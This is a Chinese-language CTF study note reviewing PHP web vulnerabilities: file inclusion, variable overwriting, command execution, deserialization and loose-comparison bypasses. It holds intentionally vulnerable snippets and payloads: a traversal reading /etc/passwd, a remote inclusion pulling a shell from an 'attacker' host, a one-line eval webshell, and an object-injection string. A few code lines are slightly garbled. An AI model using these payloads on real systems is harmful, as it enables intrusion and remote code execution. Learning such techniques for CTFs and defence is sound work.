php_ctf_sum

 · 2020-5-16 · 次阅读


文本为所学知识进行复习,温故而知新。

PHP

以下均学自:CTF-WIKI

文件包含

php:include(),include_once(),require(),require_noce(),fopen(),readfile()

jsp servlet:ava.io.file(),java.io.FileReader()

ASP:includefile includevirtual

PHP特性:php包含的文件会将该文件当做PHP代码执行,而不会在意文件类型。

本地文件包含

本地文件包含,LFI

<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
  include '/home/wwwrun/'.$file.'.php';
}
?>

上面代码存在本地文件包含,用%00即可读取。

?file = ../../../../../../../etc/passwd%00

需要magic_quotes_gpc = off,并且需要PHP小于5.3.4

原理:%00是url编码表示ASCII中值为0,代表着字符串的结束。也就是相当于C语言中的’/0’
与此类似的还有0x00,/00原理都相同。

?file=../../../../../../../../../etc/passwd/./././././././.[...]/././././

linux需要文件名长于4096而Windows需要长于256

远程文件包含

<?php
$basePath = $_GET['basePath'];
if ($route == "share") {
  require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
  require_once $basePath . "/action/m_sharelink.php";
}

这儿可以构造一个我们自己服务器的文件让其包含

/?basePath=http://attacker/phpshell.txt?

最终执行

require_once "http://attacker/phpshell.txt?/action/m_share.php";

?在url中作为路径和参数的分割符,因而后面拼接的部分被截断成功包含远程shell.

  • 普通远程文件包含
    ?file=[http|https|ftp]://example.com/shell.txt
    这里需要allow_url_fopen = On并且allow_url_include = On
    因而是非常难利用的,默认都是OFF的。

当然存在文件包含的利用方式也有很多种,例如下面这些

利用php流Input
?file=php://input  #需要allow_url_include = On
利用php流filter
?file=php://filter/read=convert.base64-encode/resource=index.php
同需要allow_url_include = On

利用data URIs
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo
同需要allow_url_include = On
利用 XSS 执行

?file=http://127.0.0.1/path/xss.php?xss=phpcode
需要allow_url_fopen=On,allow_url_include=On并且防火墙或者白名单不允许访问外网时
先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了。

文件上传这里就不复习了,后面直接过一遍Upload_Lib来的更深刻。

变量覆盖

register_globals=ON

如果以上选项开启,那么,任意变量都可覆盖。并且无需在PHP代码中使用GPC获取。
该选项会自动获得GPC的变量并为其注册。

其余导致变量覆盖的漏洞还有extract(),import_request_variables()
parse_str(),$$
之所以上面会导致变量覆盖,其实是函数的策略问题导致的,她们都会将用户传入的参数注册为新的变量,而不考虑自己定义的变量会被覆盖,因而导致一些绕过。

命令执行

PHP中有大量可以执行代码的函数 ```exec eval() assert() system() exec() shell_exec() passthru() escapeshellcmd(); pcntl_exec();

```preg_replace()
如果第一个参数也就是正则中使用了/e模式,就会允许第二个参数的代码执行。
<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>

如果没有/e修饰符,%00截断有时候也能成功。

php还有很多特殊的命令执行方式

echo `ls -al`;
$foobar = "phpinfo";
${"foobar"}();

当然用户还可以直接写一些动态的函数构造

例如一句话木马
@eval($_POST['666']);
还有各种嵌套$_GET($_GET)

反序列化

如果 unserialize() 在执行时定义了 __destruct() 或 __wakeup() 函数,则有可能导致代码执行。
原理:该类魔术方法会在构造函数的类每次创建新对象的时候自动被调用。
由于反序列化的过程就是将序列化的后的流信息,也就是字符串再重新变回对象。因而导致魔术方法自动执行。

<?php
class Example {
  var $var = "";
  function __destruct() {
    eval($this->$var);
  }
}
unserialize($_GET["saved_code"]);
?>

payload如下

http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

这里面要分清public(var),protected,private不通的反序列化利用有些不同。
后两个在序列化时候会多一些不可见字符,有些时候需要加上才能成功反序列化。

php特性

php是弱语言,也就是不会严格检验传入的变量类型,反而会将变量自由转换类型。

比如==判断使用字符串等形式与数字即可绕过

$a=null
$b=false
$a='';
$b=0
$a=123
$b=123a

以上$a均==$b
同理还有
0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true

与此类似的还有类型转换的问题

0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true

内置函数参数的不严谨性

当md5接收两个数组作为函数参数其无法处理,会导致任意两md5值相同
$array1[] = array(
 "foo" => "bar",
 "bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true

所以打比赛中如果遇到

md5($_GET['a'])==md5($_GET['b'])&&$_GET['a']!=$_GET['b']

那么很简单?a[]=123&b[]=234

strcmp()函数是用来比较两个字符串的大小的,本质是先转换为ASCII值然后根据运算结果决定如下

str1 > str2 1
<   -1
=   0

$array=[1,2,3];
然后当传入有数字时候例如strcmp($array,’123’)
此时也会导致其相等返回的是null也就是false也就是0

同理switch()会将其中的参数转换为Int型

$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
 echo "i is less than 3 but not negative";
 break;
case 3:
 echo "i is 3";
}

以上就可输出case 2的结果。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

他的问题也类似,他在判断时候也会做int转换,因而abc变成了0而1bc变得了1

还有array_search()也是同样的问题